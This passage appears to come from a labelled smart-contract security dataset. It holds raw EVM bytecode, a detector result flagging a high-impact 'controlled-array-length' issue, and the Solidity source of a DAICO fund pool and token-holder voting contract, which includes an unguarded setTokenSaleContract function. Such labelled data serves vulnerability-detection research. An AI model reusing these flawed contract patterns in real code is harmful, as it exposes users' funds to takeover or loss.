604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561077057600080fd5b61079c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611351565b005b34156107a957600080fd5b610870600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035600019169060200190919080359060200190919050506113fa565b60405180826000191660001916815260200191505060405180910390f35b341561089957600080fd5b6108b3600480803560001916906020019091905050611835565b6040518082815260200191505060405180910390f35b34156108d457600080fd5b610900600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611873565b005b341561090d57600080fd5b6109276004808035600019169060200190919050506119c8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561097457600080fd5b61097c611a26565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109bf5780820151818401526020810190506109a4565b505050509050019250505060405180910390f35b6040805190810160405280601281526020017f646562742d72656769737472792d65646974000000000000000000000000000081525081565b600081610a18816111d3565b1515610a2357600080fd5b60016000846000191660001916815260200190815260200160002060050154915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa557600080fd5b600060149054906101000a900460ff161515610ac057600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b6357600080fd5b610bae816040805190810160405280601281526020017f646562742d72656769737472792d6564697400000000000000000000000000008152506006611a3d9092919063ffffffff16565b50565b6000610bc7336006611c1990919063ffffffff16565b1515610bd257600080fd5b600060149054906101000a900460ff16151515610bee57600080fd5b82610bf8816111d3565b1515610c0357600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c4057600080fd5b60016000866000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508360016000876000191660001916815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1686600019167f7afbd1e661f2fdce6222afdac74cd28b1847177e232db3d0f0dcf3739e8d809460405160405180910390a45050505050565b600060149054906101000a900460ff1681565b610d5f61216e565b610d696003611c72565b905090565b60008082610d7b816111d3565b1515610d8657600080fd5b60016000856000191660001916815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008660001916600019168152602001908152602001600020600501549250925050915091565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4957600080fd5b600060149054906101000a900460ff16151515610e6557600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b610eb6612182565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610f4357602002820191906000526020600020905b81546000191681526020019060010190808311610f2b575b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280601481526020017f646562742d72656769737472792d696e7365727400000000000000000000000081525081565b600080600080600080600060016000896000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008a6000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008b6000191660001916815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008c6000191660001916815260200190815260200160002060030154600160008d6000191660001916815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008e6000191660001916815260200190815260200160002060050154600160008f60001916600019168152602001908152602001600020600601549650965096509650965096509650919395979092949650565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118557600080fd5b6111d0816040805190810160405280601281526020017f646562742d72656769737472792d6564697400000000000000000000000000008152506006611d0a9092919063ffffffff16565b50565b60008073ffffffffffffffffffffffffffffffffffffffff1660016000846000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a557600080fd5b6112f0816040805190810160405280601481526020017f646562742d72656769737472792d696e736572740000000000000000000000008152506003611a3d9092919063ffffffff16565b50565b6000816112ff816111d3565b151561130a57600080fd5b60016000846000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ac57600080fd5b6113f7816040805190810160405280601481526020017f646562742d72656769737472792d696e736572740000000000000000000000008152506003611d0a9092919063ffffffff16565b50565b6000611404612196565b600061141a336003611c1990919063ffffffff16565b151561142557600080fd5b600060149054906101000a900460ff1615151561144157600080fd5b89600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561147e57600080fd5b60e0604051908101604052808d73ffffffffffffffffffffffffffffffffffffffff1681526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020018a73ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018873ffffffffffffffffffffffffffffffffffffffff1681526020018760001916815260200142815250925061151b838b87612000565b9150600073ffffffffffffffffffffffffffffffffffffffff1660016000846000191660001916815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561159657600080fd5b8260016000846000191660001916815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003015560808201518160040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060a0820151816005019060001916905560c08201518160060155905050600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611746919061222f565b916000526020600020900160008490919091509060001916905550826040015173ffffffffffffffffffffffffffffffffffffffff16836020015173ffffffffffffffffffffffffffffffffffffffff1683600019167f10919d8a6bfbd0c46213ad51d6258e42af00bbf36133aada8a058bbe4f4a9240866060015187608001518860a00151604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018260001916600019168152602001935050505060405180910390a481935050505098975050505050505050565b600081611841816111d3565b151561184c57600080fd5b60016000846000191660001916815260200190815260200160002060060154915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ce57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561190a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000816119d4816111d3565b15156119df57600080fd5b60016000846000191660001916815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915050919050565b611a2e61216e565b611a386006611c72565b905090565b611a478383612159565b1515611a5257600080fd5b60018360000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550826002018054806001018281611ac2919061225b565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060018360020180549050038360010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f571925c699f9072cec76b6c6c000571cc8d0bb5c47e5819202e2e9496c6508b5826040518080602001828103825283818151815260200191508051906020019080838360005b83811015611bda578082015181840152602081019050611bbf565b50505050905090810190601f168015611c075780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611c7a61216e565b81600201805480602002602001604051908101604052809291908181526020018280548015611cfe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611cb4575b50505050509050919050565b6000806000611d198686611c19565b1515611d2457600080fd5b8560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600186600201805490500391508560020182815481101515611d8657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508560000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055808660020184815481101515611e1757fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550828660010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560010160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090558560020182815481101515611efc57fe5b906000526020600020900160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560018660020181818054905003915081611f449190612287565b508473ffffffffffffffffffffffffffffffffffffffff167f0814e4ee85854cea446b4a27a460e5ffb41516230dbc02f226c07907e432241c856040518080602001828103825283818151815260200191508051906020019080838360005b83811015611fbe578082015181840152602081019050611fa3565b50505050905090810190601f168015611feb5780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050505050565b60008360000151838560400151866060015187608001518860a0015187604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018360001916600019168152602001828152602001975050505050505050604051809103902090509392505050565b60006121658383611c19565b15905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b60e060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008019168152602001600081525090565b8154818355818115116122565781836000526020600020918201910161225591906122b3565b5b505050565b8154818355818115116122825781836000526020600020918201910161228191906122d8565b5b505050565b8154818355818115116122ae578183600052602060002091820191016122ad91906122d8565b5b505050565b6122d591905b808211156122d15760008160009055506001016122b9565b5090565b90565b6122fa91905b808211156122f65760008160009055506001016122de565b5090565b905600a165627a7a72305820332fefdfdb6d32a7ac541b71d84d6aa3ea1468020217fe03036078cc5d39e9490029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,467
0xaeb3d7d5a6b52619b36d3bd0b6794e75e65a92bd
pragma solidity ^0.4.24; contract ERC20Interface { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract PoolAndSaleInterface { address public tokenSaleAddr; address public votingAddr; address public votingTokenAddr; uint256 public tap; uint256 public initialTap; uint256 public initialRelease; function setTokenSaleContract(address _tokenSaleAddr) external; function startProject() external; } contract DaicoPool is PoolAndSaleInterface, Ownable { using SafeMath for uint256; address public tokenSaleAddr; address public votingAddr; address public votingTokenAddr; uint256 public tap; uint256 public initialTap; uint256 public initialRelease; uint256 public releasedBalance; uint256 public withdrawnBalance; uint256 public lastUpdatedTime; uint256 public fundRaised; uint256 public closingRelease = 30 days; /* The unit of this variable is [10^-9 wei / token], intending to minimize rouding errors */ uint256 public refundRateNano = 0; enum Status { Initializing, ProjectInProgress, Destructed } Status public status; event TapHistory(uint256 new_tap); event WithdrawalHistory(string token, uint256 amount); event Refund(address receiver, uint256 amount); modifier onlyTokenSaleContract { require(msg.sender == tokenSaleAddr); _; } modifier onlyVoting { require(msg.sender == votingAddr); _; } modifier poolInitializing { require(status == Status.Initializing); _; } modifier poolDestructed { require(status == Status.Destructed); _; } constructor(address _votingTokenAddr, uint256 tap_amount, uint256 _initialRelease) public { require(_votingTokenAddr != 0x0); require(tap_amount > 0); initialTap = tap_amount; votingTokenAddr = _votingTokenAddr; status = Status.Initializing; initialRelease = _initialRelease; votingAddr = new Voting(ERC20Interface(_votingTokenAddr), address(this)); } function () external payable {} function setTokenSaleContract(address _tokenSaleAddr) external { /* Can be set only once */ require(tokenSaleAddr == address(0x0)); require(_tokenSaleAddr != address(0x0)); tokenSaleAddr = _tokenSaleAddr; } function startProject() external onlyTokenSaleContract { require(status == Status.Initializing); status = Status.ProjectInProgress; lastUpdatedTime = block.timestamp; releasedBalance = initialRelease; updateTap(initialTap); fundRaised = address(this).balance; } function withdraw(uint256 _amount) public onlyOwner { require(_amount > 0); uint256 amount = _amount; updateReleasedBalance(); uint256 available_balance = getAvailableBalance(); if (amount > available_balance) { amount = available_balance; } withdrawnBalance = withdrawnBalance.add(amount); owner.transfer(amount); emit WithdrawalHistory("ETH", amount); } function raiseTap(uint256 tapMultiplierRate) external onlyVoting { updateReleasedBalance(); updateTap(tap.mul(tapMultiplierRate).div(100)); } function selfDestruction() external onlyVoting { status = Status.Destructed; updateReleasedBalance(); releasedBalance = releasedBalance.add(closingRelease.mul(tap)); updateTap(0); uint256 _totalSupply = ERC20Interface(votingTokenAddr).totalSupply(); refundRateNano = address(this).balance.sub(getAvailableBalance()).mul(10**9).div(_totalSupply); } function refund(uint256 tokenAmount) external poolDestructed { require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, tokenAmount)); uint256 refundingEther = tokenAmount.mul(refundRateNano).div(10**9); emit Refund(msg.sender, tokenAmount); msg.sender.transfer(refundingEther); } function getReleasedBalance() public view returns(uint256) { uint256 time_elapsed = block.timestamp.sub(lastUpdatedTime); return releasedBalance.add(time_elapsed.mul(tap)); } function getAvailableBalance() public view returns(uint256) { uint256 available_balance = getReleasedBalance().sub(withdrawnBalance); if (available_balance > address(this).balance) { available_balance = address(this).balance; } return available_balance; } function isStateInitializing() public view returns(bool) { return (status == Status.Initializing); } function isStateProjectInProgress() public view returns(bool) { return (status == Status.ProjectInProgress); } function isStateDestructed() public view returns(bool) { return (status == Status.Destructed); } function updateReleasedBalance() internal { releasedBalance = getReleasedBalance(); lastUpdatedTime = block.timestamp; } function updateTap(uint256 new_tap) private { tap = new_tap; emit TapHistory(new_tap); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Voting{ using SafeMath for uint256; address public votingTokenAddr; address public poolAddr; mapping (uint256 => mapping(address => uint256)) public deposits; mapping (uint => bool) public queued; uint256 proposalCostWei = 1 * 10**18; uint256 public constant VOTING_PERIOD = 14 days; struct Proposal { uint256 start_time; uint256 end_time; Subject subject; string reason; mapping (bool => uint256) votes; uint256 voter_count; bool isFinalized; uint256 tapMultiplierRate; } Proposal[] public proposals; uint public constant PROPOSAL_EMPTY = 0; enum Subject { RaiseTap, Destruction } event Vote( address indexed voter, uint256 amount ); event ReturnDeposit( address indexed voter, uint256 amount ); event ProposalRaised( address indexed proposer, string subject ); /// @dev Constructor. /// @param _votingTokenAddr The contract address of ERC20 /// @param _poolAddr The contract address of DaicoPool /// @return constructor ( address _votingTokenAddr, address _poolAddr ) public { require(_votingTokenAddr != address(0x0)); require(_poolAddr != address(0x0)); votingTokenAddr = _votingTokenAddr; poolAddr = _poolAddr; // Insert an empty proposal as the header in order to make index 0 to be missing number. Proposal memory proposal; proposal.subject = Subject.RaiseTap; proposal.reason = "PROPOSAL_HEADER"; proposal.start_time = block.timestamp -1; proposal.end_time = block.timestamp -1; proposal.voter_count = 0; proposal.isFinalized = true; proposals.push(proposal); assert(proposals.length == 1); } /// @dev Make a TAP raising proposal. It costs certain amount of ETH. /// @param _reason The reason to raise the TAP. This field can be an URL of a WEB site. /// @param _tapMultiplierRate TAP increase rate. From 101 to 200. i.e. 150 = 150% . /// @return function addRaiseTapProposal ( string _reason, uint256 _tapMultiplierRate ) external payable returns(uint256) { require(!queued[uint(Subject.RaiseTap)]); require(100 < _tapMultiplierRate && _tapMultiplierRate <= 200); uint256 newID = addProposal(Subject.RaiseTap, _reason); proposals[newID].tapMultiplierRate = _tapMultiplierRate; queued[uint(Subject.RaiseTap)] = true; emit ProposalRaised(msg.sender, "RaiseTap"); } /// @dev Make a self destruction proposal. It costs certain amount of ETH. /// @param _reason The reason to destruct the pool. This field can be an URL of a WEB site. /// @return function addDestructionProposal (string _reason) external payable returns(uint256) { require(!queued[uint(Subject.Destruction)]); addProposal(Subject.Destruction, _reason); queued[uint(Subject.Destruction)] = true; emit ProposalRaised(msg.sender, "SelfDestruction"); } /// @dev Vote yes or no to current proposal. /// @param amount Token amount to be voted. /// @return function vote (bool agree, uint256 amount) external { require(ERC20Interface(votingTokenAddr).transferFrom(msg.sender, this, amount)); uint256 pid = this.getCurrentVoting(); require(pid != PROPOSAL_EMPTY); require(proposals[pid].start_time <= block.timestamp); require(proposals[pid].end_time >= block.timestamp); if (deposits[pid][msg.sender] == 0) { proposals[pid].voter_count = proposals[pid].voter_count.add(1); } deposits[pid][msg.sender] = deposits[pid][msg.sender].add(amount); proposals[pid].votes[agree] = proposals[pid].votes[agree].add(amount); emit Vote(msg.sender, amount); } /// @dev Finalize the current voting. It can be invoked when the end time past. /// @dev Anyone can invoke this function. /// @return function finalizeVoting () external { uint256 pid = this.getCurrentVoting(); require(pid != PROPOSAL_EMPTY); require(proposals[pid].end_time <= block.timestamp); require(!proposals[pid].isFinalized); proposals[pid].isFinalized = true; if (isSubjectRaiseTap(pid)) { queued[uint(Subject.RaiseTap)] = false; if (isPassed(pid)) { DaicoPool(poolAddr).raiseTap(proposals[pid].tapMultiplierRate); } } else if (isSubjectDestruction(pid)) { queued[uint(Subject.Destruction)] = false; if (isPassed(pid)) { DaicoPool(poolAddr).selfDestruction(); } } } /// @dev Return all tokens which specific account used to vote so far. /// @param account An address that deposited tokens. It also be the receiver. /// @return function returnToken (address account) external returns(bool) { uint256 amount = 0; for (uint256 pid = 0; pid < proposals.length; pid++) { if(!proposals[pid].isFinalized){ break; } amount = amount.add(deposits[pid][account]); deposits[pid][account] = 0; } if(amount <= 0){ return false; } require(ERC20Interface(votingTokenAddr).transfer(account, amount)); emit ReturnDeposit(account, amount); return true; } /// @dev Return tokens to multiple addresses. /// @param accounts Addresses that deposited tokens. They also be the receivers. /// @return function returnTokenMulti (address[] accounts) external { for(uint256 i = 0; i < accounts.length; i++){ this.returnToken(accounts[i]); } } /// @dev Return the index of on going voting. /// @return The index of voting. function getCurrentVoting () public view returns(uint256) { for (uint256 i = 0; i < proposals.length; i++) { if (!proposals[i].isFinalized) { return i; } } return PROPOSAL_EMPTY; } /// @dev Check if a proposal has been agreed or not. /// @param pid Index of a proposal. /// @return True if the proposal passed. False otherwise. function isPassed (uint256 pid) public view returns(bool) { require(proposals[pid].isFinalized); uint256 ayes = getAyes(pid); uint256 nays = getNays(pid); uint256 absent = ERC20Interface(votingTokenAddr).totalSupply().sub(ayes).sub(nays); return (ayes > nays.add(absent.div(6))); } /// @dev Check if a voting has started or not. /// @param pid Index of a proposal. /// @return True if the voting already started. False otherwise. function isStarted (uint256 pid) public view returns(bool) { if (pid > proposals.length) { return false; } else if (block.timestamp >= proposals[pid].start_time) { return true; } return false; } /// @dev Check if a voting has ended or not. /// @param pid Index of a proposal. /// @return True if the voting already ended. False otherwise. function isEnded (uint256 pid) public view returns(bool) { if (pid > proposals.length) { return false; } else if (block.timestamp >= proposals[pid].end_time) { return true; } return false; } /// @dev Return the reason of a proposal. /// @param pid Index of a proposal. /// @return Text of the reason that is set when the proposal made. function getReason (uint256 pid) external view returns(string) { require(pid < proposals.length); return proposals[pid].reason; } /// @dev Check if a proposal is about TAP raising or not. /// @param pid Index of a proposal. /// @return True if it's TAP raising. False otherwise. function isSubjectRaiseTap (uint256 pid) public view returns(bool) { require(pid < proposals.length); return proposals[pid].subject == Subject.RaiseTap; } /// @dev Check if a proposal is about self destruction or not. /// @param pid Index of a proposal. /// @return True if it's self destruction. False otherwise. function isSubjectDestruction (uint256 pid) public view returns(bool) { require(pid < proposals.length); return proposals[pid].subject == Subject.Destruction; } /// @dev Return the number of voters take part in a specific voting. /// @param pid Index of a proposal. /// @return The number of voters. function getVoterCount (uint256 pid) external view returns(uint256) { require(pid < proposals.length); return proposals[pid].voter_count; } /// @dev Return the number of votes that agrees the proposal. /// @param pid Index of a proposal. /// @return The number of votes that agrees the proposal. function getAyes (uint256 pid) public view returns(uint256) { require(pid < proposals.length); require(proposals[pid].isFinalized); return proposals[pid].votes[true]; } /// @dev Return the number of votes that disagrees the proposal. /// @param pid Index of a proposal. /// @return The number of votes that disagrees the proposal. function getNays (uint256 pid) public view returns(uint256) { require(pid < proposals.length); require(proposals[pid].isFinalized); return proposals[pid].votes[false]; } /// @dev Internal function to add a proposal into the voting queue. /// @param _subject Subject of the proposal. Can be TAP raising or self destruction. /// @param _reason Reason of the proposal. This field can be an URL of a WEB site. /// @return Index of the proposal. function addProposal (Subject _subject, string _reason) internal returns(uint256) { require(msg.value == proposalCostWei); require(DaicoPool(poolAddr).isStateProjectInProgress()); poolAddr.transfer(msg.value); Proposal memory proposal; proposal.subject = _subject; proposal.reason = _reason; proposal.start_time = block.timestamp; proposal.end_time = block.timestamp + VOTING_PERIOD; proposal.voter_count = 0; proposal.isFinalized = false; proposals.push(proposal); uint256 newID = proposals.length - 1; return newID; } }
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166314b804028114610155578063154e81521461017e578063200d2ed2146101a5578063278ecde1146101de5780632e1a7d4d146101f6578063354d89ee1461020e57806339175bff1461022f5780633a7883041461024457806342e4f54f146102595780637b5c2f391461028a578063809dab6a1461029f5780638da5cb5b146102b457806394248eaa146102c9578063992ee4b6146102de5780639ab4b22f146102f65780639b96586a1461030b578063aa54ad3514610320578063bf85689514610335578063c71c0b401461034a578063c7656f6e1461035f578063dec9091814610374578063e238def914610389578063e7ea81221461039e578063f2fde38b146103b3578063f80334ae146103d4578063fd221031146103e9575b005b34801561016157600080fd5b5061016a6103fe565b604080519115158252519081900360200190f35b34801561018a57600080fd5b5061019361041a565b60408051918252519081900360200190f35b3480156101b157600080fd5b506101ba610420565b604051808260028111156101ca57fe5b60ff16815260200191505060405180910390f35b3480156101ea57600080fd5b50610153600435610429565b34801561020257600080fd5b5061015360043561058b565b34801561021a57600080fd5b50610153600160a060020a0360043516610691565b34801561023b57600080fd5b506101936106eb565b34801561025057600080fd5b506101936106f1565b34801561026557600080fd5b5061026e6106f7565b60408051600160a060020a039092168252519081900360200190f35b34801561029657600080fd5b50610193610706565b3480156102ab57600080fd5b5061019361070c565b3480156102c057600080fd5b5061026e61073d565b3480156102d557600080fd5b5061016a61074c565b3480156102ea57600080fd5b50610153600435610755565b34801561030257600080fd5b50610193610799565b34801561031757600080fd5b5061026e61079f565b34801561032c57600080fd5b5061026e6107ae565b34801561034157600080fd5b506101936107bd565b34801561035657600080fd5b506101936107c3565b34801561036b57600080fd5b506101536107c9565b34801561038057600080fd5b50610193610827565b34801561039557600080fd5b5061019361082d565b3480156103aa57600080fd5b5061016a610874565b3480156103bf57600080fd5b50610153600160a060020a036004351661087c565b3480156103e057600080fd5b50610153610911565b3480156103f557600080fd5b50610193610a38565b600060025b60135460ff16600281111561041457fe5b14905090565b600e5481565b60135460ff1681565b6000600260135460ff16600281111561043e57fe5b1461044857600080fd5b600954604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b1580156104bb57600080fd5b505af11580156104cf573d6000803e3d6000fd5b505050506040513d60208110156104e557600080fd5b505115156104f257600080fd5b61051b633b9aca0061050f60125485610a3e90919063ffffffff16565b9063ffffffff610a7416565b604080513381526020810185905281519293507fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d929081900390910190a1604051339082156108fc029083906000818181858888f19350505050158015610586573d6000803e3d6000fd5b505050565b6006546000908190600160a060020a031633146105a757600080fd5b600083116105b457600080fd5b8291506105bf610a89565b6105c761070c565b9050808211156105d5578091505b600e546105e8908363ffffffff610a9a16565b600e55600654604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610625573d6000803e3d6000fd5b5060408051602081018490528181526003818301527f4554480000000000000000000000000000000000000000000000000000000000606082015290517fd5dc466e8c711212ab82ec9a94c99278f8e9fe072ae1bbd90b2daf125a6c58009181900360800190a1505050565b600754600160a060020a0316156106a757600080fd5b600160a060020a03811615156106bc57600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60125481565b60115481565b600854600160a060020a031681565b600c5481565b600080610729600e5461071d61082d565b9063ffffffff610aa916565b90503031811115610738575030315b919050565b600654600160a060020a031681565b60006001610403565b600854600160a060020a0316331461076c57600080fd5b610774610a89565b610796610791606461050f84600a54610a3e90919063ffffffff16565b610abb565b50565b600d5481565b600954600160a060020a031681565b600754600160a060020a031681565b600f5481565b60105481565b600754600160a060020a031633146107e057600080fd5b600060135460ff1660028111156107f357fe5b146107fd57600080fd5b6013805460ff1916600117905542600f55600c54600d55600b5461082090610abb565b3031601055565b600b5481565b600080610845600f5442610aa990919063ffffffff16565b905061086e61085f600a5483610a3e90919063ffffffff16565b600d549063ffffffff610a9a16565b91505090565b600080610403565b600654600160a060020a0316331461089357600080fd5b600160a060020a03811615156108a857600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600854600090600160a060020a0316331461092b57600080fd5b6013805460ff19166002179055610940610a89565b61095a61085f600a54601154610a3e90919063ffffffff16565b600d556109676000610abb565b600960009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156109d357600080fd5b505af11580156109e7573d6000803e3d6000fd5b505050506040513d60208110156109fd57600080fd5b50519050610a328161050f633b9aca00610a26610a1861070c565b30319063ffffffff610aa916565b9063ffffffff610a3e16565b60125550565b600a5481565b600080831515610a515760009150610a6d565b50828202828482811515610a6157fe5b0414610a6957fe5b8091505b5092915050565b60008183811515610a8157fe5b049392505050565b610a9161082